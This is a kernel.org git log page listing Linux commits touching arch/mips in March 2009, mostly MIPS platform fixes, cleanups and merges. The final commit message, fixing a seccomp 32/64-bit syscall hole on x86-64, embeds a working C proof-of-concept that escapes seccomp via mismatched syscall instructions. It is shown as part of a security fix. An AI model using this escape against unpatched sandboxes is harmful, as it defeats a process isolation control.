summaryrefslogtreecommitdiff
path: root/arch/mips
AgeCommit message (Collapse)Author
2009-03-30Merge git://git.kernel.org/pub/scm/linux/kernel/git/rusty/linux-2.6-cpumaskLinus Torvalds
* git://git.kernel.org/pub/scm/linux/kernel/git/rusty/linux-2.6-cpumask: oprofile: Thou shalt not call __exit functions from __init functions cpumask: remove the now-obsoleted pcibus_to_cpumask(): generic cpumask: remove cpumask_t from core cpumask: convert rcutorture.c cpumask: use new cpumask_ functions in core code. cpumask: remove references to struct irqaction's mask field. cpumask: use mm_cpumask() wrapper: kernel/fork.c cpumask: use set_cpu_active in init/main.c cpumask: remove node_to_first_cpu cpumask: fix seq_bitmap_*() functions. cpumask: remove dangerous CPU_MASK_ALL_PTR, &CPU_MASK_ALL
2009-03-30MIPS: Alchemy: PB1200: use SMC91X platform data.Manuel Lauss
Add platform data for the smc91x on the PB1200/DB1200, and remove the now unused AU1X00 entry in smc91x.h. Signed-off-by: Manuel Lauss <mano@roarinelk.homelinux.net>
2009-03-30MIPS: Alchemy: MIPS hazard workarounds are not required.Manuel Lauss
The Alchemy manuals state: "All pipeline hazards and dependencies are enforced by hardware interlocks so that any sequence of instructions is guaranteed to execute correctly. Therefore, it is not necessary to pad legacy MIPS hazards (such as load delay slots and coprocessor accesses) with NOPs." Run-tested on Au12x0, without any ill effects. Signed-off-by: Manuel Lauss <mano@roarinelk.homelinux.net> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-30MIPS: Alchemy: provide cpu feature overrides.Manuel Lauss
Add cpu feature override constants tailored for all Alchemy variants currently in existence. Signed-off-by: Manuel Lauss <mano@roarinelk.homelinux.net> Signed-off-by: Ralf Baechle <ralf@linux-mips.org> create mode 100644 arch/mips/include/asm/mach-au1x00/cpu-feature-overrides.h
2009-03-30MIPS: Alchemy: unify CPU model constants.Manuel Lauss
This patch removes the various CPU_AU1??? model constants in favor of a single CPU_ALCHEMY one. All currently existing Alchemy models are identical in terms of cpu core and cache size/organization. The parts of the mips kernel which need to know the exact CPU revision extract it from the c0_prid register already; and finally nothing else in-tree depends on those any more. Should a new variant with slightly different "company options" and/or "processor revision" bits in c0_prid appear, it will be supported immediately (minus an exact model string in cpuinfo). Signed-off-by: Manuel Lauss <mano@roarinelk.homelinux.net> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-30MIPS: Make a needlessly global symbol static in arch/mips/kernel/smp.cDmitri Vorobiev
The variable cpu_callin_map is needlessly defined global, so let's make it static now. Build-tested using malta_defconfig. Signed-off-by: Dmitri Vorobiev <dmitri.vorobiev@movial.com> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-30MIPS: Fix global namespace pollution in arch/mips/kernel/smp-up.cDmitri Vorobiev
The following symbols in arch/mips/kernel/smp-up.c are needlessly defined global: up_send_ipi_single() up_init_secondary() up_smp_finish() up_cpus_done() up_boot_secondary() up_smp_setup() up_prepare_cpus() This patch makes the symbols static. Build-tested using malta_defconfig. Signed-off-by: Dmitri Vorobiev <dmitri.vorobiev@movial.com> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-30MIPS: Malta: make a needlessly global integer variable staticDmitri Vorobiev
The variable `mips_revision_corid' is needlessly defined global in arch/mips/mti-malta/malta-init.c, and this patch makes it static. Build-tested with malta_defconfig. Signed-off-by: Dmitri Vorobiev <dmitri.vorobiev@movial.com> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-30MIPS: Use BUG_ON() where possible.Ralf Baechle
Based on original patch by Stoyan Gaydarov <stoyboyker@gmail.com> which missed a few places. Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-30MIPS: Convert obsolete irq_desc_t to struct irq_descThomas Gleixner
Impact: cleanup Convert the last remaining users to struct irq_desc. Signed-off-by: Thomas Gleixner <tglx@linutronix.de> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-30MIPS: Enable GENERIC_HARDIRQS_NO__DO_IRQ for all platformsRalf Baechle
__do_IRQ() is deprecated and will go away. Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-30MIPS: EMMA2RH: Set UART mapbaseShinya Kuribayashi
Signed-off-by: Shinya Kuribayashi <shinya.kuribayashi@necel.com> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-30MIPS: EMMA2RH: Use set_irq_chip_and_handler_nameShinya Kuribayashi
Fix two remaining set_irq_chip_and_handler() users which are encourated to migrate to set_irq_chip_and_handler_name(). Signed-off-by: Shinya Kuribayashi <shinya.kuribayashi@necel.com> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-30MIPS: EMMA2RH: Use handle_edge_irq() handler for GPIO interruptsShinya Kuribayashi
EMMA's GPIO interrupts are latched by GPIO interrupt status register. In this case, we're encouraged to use handle_edge_irq() handler. The following changes are made along with replacing set_irq_chip() with set_irq_chip_and_handler_name(,,handle_edge_irq,"edge"): * Fix emma2rh_gpio_irq_ack not to disable interrupts With handle_edge_irq(), we're not expected to disable interrupts when chip->ack is served, so fix it accordingly. We also add a new emma2rh_gpio_irq_mask_ack() for chip->mask_ack operation, instead. * Remove emma2rh_gpio_irq_end(), as chip->end is no longer served. Signed-off-by: Shinya Kuribayashi <shinya.kuribayashi@necel.com> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-30MIPS: Mark Eins: Fix cascading interrupt dispatcherShinya Kuribayashi
* Fix mis-calculated IRQ bitshift on cascading interrupts * Prevent cascading interrupt from being processed afterward Signed-off-by: Shinya Kuribayashi <shinya.kuribayashi@necel.com> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-30MIPS: Au1000: convert to using gpiolibFlorian Fainelli
This patch converts the GPIO board code to use gpiolib. Signed-off-by: Florian Fainelli <florian@openwrt.org> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-30MIPS: Stop using <asm-generic/int-l64.h>.Ralf Baechle
This fixes a few warnings - and triggers a few new ones which the rest of this patch fixes. Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-30MIPS: Cavium: Add -WerrorRalf Baechle
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-30MIPS: Makefile: Add simple make install target.Ralf Baechle
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-30MIPS: Compat: Zero upper 32-bit of offset_high and offset_low.Ralf Baechle
Through sys_llseek() arguably should do exactly that it doesn't which means llseek(2) will fail for o32 processes if offset_low has bit 31 set. As suggested by Heiko Carstens. Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-30MIPS: __raw_spin_lock() may spin forever on ticket wrap.David Daney
If the lock is not acquired and has to spin *and* the second attempt to acquire the lock fails, the delay time is not masked by the ticket range mask. If the ticket number wraps around to zero, the result is that the lock sampling delay is essentially infinite (due to casting -1 to an unsigned int). The fix: Always mask the difference between my_ticket and the current ticket value before calculating the delay. Signed-off-by: David Daney <ddaney@caviumnetworks.com> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-30MIPS: Forward declare struct task_struct to avoid potencial warning.Ralf Baechle
2009-03-30cpumask: remove references to struct irqaction's mask field.Rusty Russell
Impact: cleanup It's unused, since about 1995. So remove all initialization of it in preparation for actually removing the field. Signed-off-by: Rusty Russell <rusty@rustcorp.com.au> Acked-by: Thomas Gleixner <tglx@linutronix.de>
2009-03-30cpumask: remove node_to_first_cpuRusty Russell
Everyone defines it, and only one person uses it (arch/mips/sgi-ip27/ip27-nmi.c). So just open code it there. Signed-off-by: Rusty Russell <rusty@rustcorp.com.au> Cc: linux-mips@linux-mips.org
2009-03-28Merge branch 'linus' into percpu-cpumask-x86-for-linus-2Ingo Molnar
Conflicts: arch/sparc/kernel/time_64.c drivers/gpu/drm/drm_proc.c Manual merge to resolve build warning due to phys_addr_t type change on x86: drivers/gpu/drm/drm_info.c Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-27Merge branch 'for-linus' of ↵Linus Torvalds
git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs-2.6 * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs-2.6: (37 commits) fs: avoid I_NEW inodes Merge code for single and multiple-instance mounts Remove get_init_pts_sb() Move common mknod_ptmx() calls into caller Parse mount options just once and copy them to super block Unroll essentials of do_remount_sb() into devpts vfs: simple_set_mnt() should return void fs: move bdev code out of buffer.c constify dentry_operations: rest constify dentry_operations: configfs constify dentry_operations: sysfs constify dentry_operations: JFS constify dentry_operations: OCFS2 constify dentry_operations: GFS2 constify dentry_operations: FAT constify dentry_operations: FUSE constify dentry_operations: procfs constify dentry_operations: ecryptfs constify dentry_operations: CIFS constify dentry_operations: AFS ...
2009-03-27generic compat_sys_ustatChristoph Hellwig
Due to a different size of ino_t ustat needs a compat handler, but currently only x86 and mips provide one. Add a generic compat_sys_ustat and switch all architectures over to it. Instead of doing various user copy hacks compat_sys_ustat just reimplements sys_ustat as it's trivial. This was suggested by Arnd Bergmann. Found by Eric Sandeen when running xfstests/017 on ppc64, which causes stack smashing warnings on RHEL/Fedora due to the too large amount of data writen by the syscall. Signed-off-by: Christoph Hellwig <hch@lst.de> Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
2009-03-27Merge branch 'core/percpu' into percpu-cpumask-x86-for-linus-2Ingo Molnar
Conflicts: arch/parisc/kernel/irq.c arch/x86/include/asm/fixmap_64.h arch/x86/include/asm/setup.h kernel/irq/handle.c Semantic merge: arch/x86/include/asm/fixmap.h Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-26Merge branch 'header-fixes-for-linus' of ↵Linus Torvalds
git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'header-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: (50 commits) x86: headers cleanup - setup.h emu101k1.h: fix duplicate include of <linux/types.h> compiler-gcc4: conditionalize #error on __KERNEL__ remove __KERNEL_STRICT_NAMES make netfilter use strict integer types make drm headers use strict integer types make MTD headers use strict integer types make most exported headers use strict integer types make exported headers use strict posix types unconditionally include asm/types.h from linux/types.h make linux/types.h as assembly safe Neither asm/types.h nor linux/types.h is required for arch/ia64/include/asm/fpu.h headers_check fix cleanup: linux/reiserfs_fs.h headers_check fix cleanup: linux/nubus.h headers_check fix cleanup: linux/coda_psdev.h headers_check fix: x86, setup.h headers_check fix: x86, prctl.h headers_check fix: linux/reinserfs_fs.h headers_check fix: linux/socket.h headers_check fix: linux/nubus.h ... Manually fix trivial conflicts in: include/linux/netfilter/xt_limit.h include/linux/netfilter/xt_statistic.h
2009-03-26Merge branch 'irq-for-linus' of ↵Linus Torvalds
git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'irq-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: (32 commits) x86: disable __do_IRQ support sparseirq, powerpc/cell: fix unused variable warning in interrupt.c genirq: deprecate obsolete typedefs and defines genirq: deprecate __do_IRQ genirq: add doc to struct irqaction genirq: use kzalloc instead of explicit zero initialization genirq: make irqreturn_t an enum genirq: remove redundant if condition genirq: remove unused hw_irq_controller typedef irq: export remove_irq() and setup_irq() symbols irq: match remove_irq() args with setup_irq() irq: add remove_irq() for freeing of setup_irq() irqs genirq: assert that irq handlers are indeed running in hardirq context irq: name 'p' variables a bit better irq: further clean up the free_irq() code flow irq: refactor and clean up the free_irq() code flow irq: clean up manage.c irq: use GFP_KERNEL for action allocation in request_irq() kernel/irq: fix sparse warning: make symbol static irq: optimize init_kstat_irqs/init_copy_kstat_irqs ...
2009-03-26Merge branch 'master' of /home/davem/src/GIT/linux-2.6/David S. Miller
Conflicts: drivers/net/wimax/i2400m/usb-notif.c
2009-03-26Merge git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/driver-core-2.6Linus Torvalds
* git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/driver-core-2.6: (61 commits) Dynamic debug: fix pr_fmt() build error Dynamic debug: allow simple quoting of words dynamic debug: update docs dynamic debug: combine dprintk and dynamic printk sysfs: fix some bin_vm_ops errors kobject: don't block for each kobject_uevent sysfs: only allow one scheduled removal callback per kobj Driver core: Fix device_move() vs. dpm list ordering, v2 Driver core: some cleanup on drivers/base/sys.c Driver core: implement uevent suppress in kobject vcs: hook sysfs devices into object lifetime instead of "binding" driver core: fix passing platform_data driver core: move platform_data into platform_device sysfs: don't block indefinitely for unmapped files. driver core: move knode_bus into private structure driver core: move knode_driver into private structure driver core: move klist_children into private structure driver core: create a private portion of struct device driver core: remove polling for driver_probe_done(v5) sysfs: reference sysfs_dirent from sysfs inodes ... Fixed conflicts in drivers/sh/maple/maple.c manually
2009-03-26Merge commit 'v2.6.29' into core/header-fixesIngo Molnar
2009-03-24platform driver: fix incorrect use of 'platform_bus_type' with 'struct ↵Ming Lei
device_driver' This patch fixes the bug reported in http://bugzilla.kernel.org/show_bug.cgi?id=11681. "Lots of device drivers register a 'struct device_driver' with the '.bus' member set to '&platform_bus_type'. This is wrong, since the platform_bus functions expect the 'struct device_driver' to be wrapped up in a 'struct platform_driver' which provides some additional callbacks (like suspend_late, resume_early). The effect may be that platform_suspend_late() uses bogus data outside the device_driver struct as a pointer pointer to the device driver's suspend_late() function or other hard to reproduce failures."(Lothar Wassmann) Signed-off-by: Ming Lei <tom.leiming@gmail.com> Acked-by: Henrique de Moraes Holschuh <hmh@hmh.eng.br> Acked-by: David Brownell <dbrownell@users.sourceforge.net> Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
2009-03-23MIPS: R2: Fix problem with code that incorrectly modifies ebase.Chris Dearman
Commit 566f74f6b2f8b85d5b8d6caaf97e5672cecd3e3e had a change that incorrectly modified ebase. This backs out the lines that modified ebase. In addition, the ebase exception vector is now allocated with correct alignment and the ebase register updated according to the architecture specification. Based on original patch by David VomLehn <dvomlehn@cisco.com>. Signed-off-by: David VomLehn <dvomlehn@cisco.com> Signed-off-by: Chris Dearman <chris@mips.com> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-23MIPS: Change {set,clear,change}_c0_<foo> to return old value.Ralf Baechle
This is more standard and useful and need for the following fix to work correctly. Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-23MIPS: compat: Remove duplicated #includeHuang Weiyi
Remove duplicated #include in arch/mips/kernel/linux32.c. Signed-off-by: Huang Weiyi <weiyi.huang@gmail.com> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-23MIPS: VR5500: Enable prefetchShinya Kuribayashi
Signed-off-by: Shinya Kuribayashi <shinya.kuribayashi@necel.com> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-23MIPS: Fix oops in dma_unmap_page on not coherent mips platformsJan Nikitenko
dma_cache_wback_inv() expects virtual address, but physical was provided due to translation via plat_dma_addr_to_phys(). If replaced with dma_addr_to_virt(), page fault oops from dma_unmap_page() is gone on au1550 platform. Signed-off-by: Jan Nikitenko <jan.nikitenko@gmail.com> Acked-by: Atsushi Nemoto <anemo@mba.ocn.ne.jp> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-16Merge branches 'irq/genirq' and 'linus' into irq/coreIngo Molnar
2009-03-13MIPS: Mark Eins: Fix configuration.Ralf Baechle
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-13MIPS: Fix TIF_32BIT undefined problem when seccomp is disabledZhang Le
Signed-off-by: Zhang Le <r0bertz@gentoo.org> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-11MIPS: IP27: Enable RAID5 moduleRalf Baechle
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-11MIPS: TXx9: update defconfigsAtsushi Nemoto
Enable following features: * MTD (PHYSMAP) * LED (LEDS_GPIO) * RBTX4939 * 7SEGLED * IDE (IDE_TX4938, IDE_TX4939) * SMC91X * RTC_DRV_TX4939 Signed-off-by: Atsushi Nemoto <anemo@mba.ocn.ne.jp> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-11MIPS: NEC VR5500 processor support fixupShinya Kuribayashi
Current VR5500 processor support lacks of some functions which are expected to be configured/synthesized on arch initialization. Here're some VR5500A spec notes: * All execution hazards are handled in hardware. * Once VR5500A stops the operation of the pipeline by WAIT instruction, it could return from the standby mode only when either a reset, NMI request, or all enabled interrupts is/are detected. In other words, if interrupts are disabled by Status.IE=0, it keeps in standby mode even when interrupts are internally asserted. Notes on WAIT: The operation of the processor is undefined if WAIT insn is in the branch delay slot. The operation is also undefined if WAIT insn is executed when Status.EXL and Status.ERL are set to 1. * VR5500A core only implements the Load prefetch. With these changes, it boots fine. Signed-off-by: Shinya Kuribayashi <shinya.kuribayashi@necel.com> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-11MIPS: Fix build of non-CONFIG_SYSVIPC version of sys_32_ipcXiaotian Feng
Signed-off-by: Xiaotian Feng <xiaotian.feng@windriver.com> Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
2009-03-08MIPS: compat: Implement is_compat_task.Ralf Baechle
This is a build fix required after "x86-64: seccomp: fix 32/64 syscall hole" (commit 5b1017404aea6d2e552e991b3fd814d839e9cd67). MIPS doesn't have the issue that was fixed for x86-64 by that patch. This also doesn't solve the N32 issue which is that N32 seccomp processes will be treated as non-compat processes thus only have access to N64 syscalls. Signed-off-by: Ralf Baechle <ralf@linux-mips.org> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-05Merge branch 'master' of ↵David S. Miller
master.kernel.org:/pub/scm/linux/kernel/git/davem/net-2.6 Conflicts: drivers/net/tokenring/tmspci.c drivers/net/ucc_geth_mii.c
2009-03-04Merge branches 'x86/apic', 'x86/cpu', 'x86/fixmap', 'x86/mm', 'x86/sched', ↵Ingo Molnar
'x86/setup-lzma', 'x86/signal' and 'x86/urgent' into x86/core
2009-03-02x86-64: seccomp: fix 32/64 syscall holeRoland McGrath
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>